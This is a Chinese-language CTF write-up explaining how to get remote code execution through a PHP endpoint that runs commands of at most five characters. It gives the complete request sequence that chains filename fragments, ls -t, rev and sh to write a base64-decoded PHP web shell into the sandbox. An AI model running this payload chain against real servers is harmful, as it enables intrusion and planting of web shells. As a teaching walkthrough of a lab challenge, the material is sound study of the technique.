CTF WriteUp:5字符限制下的 RCE
一、 题目分析
题目源码:
php
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
限制条件分析:
- 长度限制 :传入的
cmd参数长度不能超过 5 个字符。 - 无回显 :执行命令使用的是
exec(),不会将命令执行的结果回显到页面上。 - 沙箱机制 :每次访问会在
sandbox目录下根据用户 IP 生成一个独立的 MD5 目录,并将工作路径切换进去(这是核心前提,保证了目录初始为空)。 - 重置机制 :提供
reset参数,可以清空当前沙箱目录。
目标 :突破 5 字符限制,写入一段 PHP 木马(如 <?php phpinfo();?>),或执行 cat /flag 并将结果外带。
二、 核心前置知识
要突破 5 字符限制,必须利用 Linux 的一些特性将短字符串"拼接"成长命令:
- 重定向
>/>>:> file可以创建空文件或将输出覆盖写入文件;>> file为追加写入。同时,>前面可以跟命令,如ls > a。 - 换行符
\:在命令末尾加\表示命令未结束,换行继续输入。这意味着我们可以把长命令拆成多行写进文件,然后执行这个文件。 ls -t:ls默认按字母排序,但-t参数可以按文件修改时间排序,最新创建的文件排在最前面。这是控制命令拼接顺序的关键。- 通配符
*:Linux 中*会展开当前目录下的所有文件名。它会把第一个文件名当作命令 ,后面的文件名当作参数。 dir代替ls:ls输出重定向到文件时,每个文件名会自动换行;而dir会将所有文件名写在同一行,并用空格分隔,这保证了我们拼接的命令不会被换行符打断。rev:将文件内容倒序输出。sh:执行一个文本文件中的命令。
三、 Payload 构造推导
假设我们要写入一句话木马 <?php phpinfo(); ?>。因为含有特殊字符 <、? 等,直接写文件容易出错,所以采用 Base64 绕过:
目标命令:echo PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
(注意:为了防止 shell 吞空格,必须将 echo 后的空格替换为 ${IFS})
最终目标命令:echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
难点 1:如何执行 ls -th >f?
由于命令长度限制为 5,我们无法直接输入 ls -th >f(长度 9)。我们需要用创建文件的方式,让系统自己帮我们拼出这条命令。
如果我们要 dir 按照我们想要的顺序输出参数,文件名必须按字母排序正好是我们需要的顺序。
我们要拼出 f> ht- sl,反转过来就是 ls -th >f。
步骤 1:构造 ls -th >f 并写入文件 a
bash
>dir # 创建文件 dir
>f\> # 创建文件 f> (\是为了转义,防止shell把>当成重定向)
>ht- # 创建文件 ht-
>sl # 创建文件 sl
*>v # *展开为 dir f> ht- sl,相当于执行 dir f> ht- sl > v。此时 v 的内容为:f> ht- sl
>rev # 创建文件 rev
*v>a # *v展开为 rev v,相当于执行 rev v > a。此时 a 的内容被反转为:ls -th >f
至此,我们成功在文件 a 中写入了 ls -th >f!
难点 2:如何构造长命令并按正确顺序写入?
接下来,我们要将 echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php 拆分。
因为 ls -t 是最新的文件排在前面 ,所以我们必须倒序创建这些文件片段。
步骤 2:倒序创建目标命令片段
(每段不超过4个字符,末尾加 \ 表示命令换行续行)
bash
>hp\\
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>\=\\
>Ow\\
>gp\\
>by\\
>5m\\
>aW\\
>hw\\
>cG\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>ho\\
>ec\\
步骤 3:触发执行链
现在目录里有一堆我们刚创建的命令片段文件,还有之前的 a 文件。
bash
sh a # 执行 a 中的内容,即 ls -th >f
# 这条命令会把当前目录下所有文件名按时间排序写入文件 f
# 因为刚才创建的片段最新,排在前面;之前的 dir 等文件最旧,排在后面。
# 所以 f 文件的内容首行就是我们拼接好的完整长命令(尾部带点垃圾数据不影响执行)
sh f # 执行 f 中的内容,即执行 echo${IFS}... 解码并写入 1.php
四、 完整攻击流程
-
重置环境(非常重要!)
访问
http://target/?reset=1,确保沙箱内绝对干净,没有多余文件干扰*匹配。 -
依次发送 Payload(建议使用 Burp Intruder 或 Python 脚本快速发送)
text?cmd=>dir ?cmd=>f\> ?cmd=>ht- ?cmd=>sl ?cmd=*>v ?cmd=>rev ?cmd=*v>a ?cmd=>hp\\ ?cmd=>p\\ ?cmd=>1.\\ ?cmd=>\>\\ ?cmd=>-d\\ ?cmd=>\ \\ ?cmd=>64\\ ?cmd=>se\\ ?cmd=>ba\\ ?cmd=>\|\\ ?cmd=>\=\\ ?cmd=>\=\\ ?cmd=>Ow\\ ?cmd=>gp\\ ?cmd=>by\\ ?cmd=>5m\\ ?cmd=>aW\\ ?cmd=>hw\\ ?cmd=>cG\\ ?cmd=>Ag\\ ?cmd=>aH\\ ?cmd=>9w\\ ?cmd=>PD\\ ?cmd=>S}\\ ?cmd=>IF\\ ?cmd=>{\\ ?cmd=>\$\\ ?cmd=>ho\\ ?cmd=>ec\\ ?cmd=sh a ?cmd=sh f -
访问木马
访问
http://target/sandbox/[你的MD5目录]/1.php,即可看到phpinfo()页面。如果构造的是读取 flag 的命令,则直接查看1.php的输出。
五、 🚨 踩坑与避坑总结(核心经验)
- 沙箱的必要性 :如果没有
chdir($sandbox)将目录切换到空目录,而在/var/www/html/下执行,*会匹配到index.php等原生文件,导致生成的文件内容被污染,命令完全损坏。 - CMD 传参的坑 :如果你在 Windows CMD 下使用
curl测试,必须给 URL 加上双引号 (如curl "?cmd=>dir"),否则 Windows 会把>识别为本地的重定向符,在本地创建文件,而服务器根本没收到请求。 >与>>:在核心步骤*v>a中,必须使用单个>覆盖写入。如果使用>>追加,会导致之前测试的脏数据依然存在。- 每次失败必须 Reset :只要有一次输入错误或顺序乱了,目录里就会留下错误的文件,导致后续拼接必定失败。养成习惯,每试一次先
?reset=1。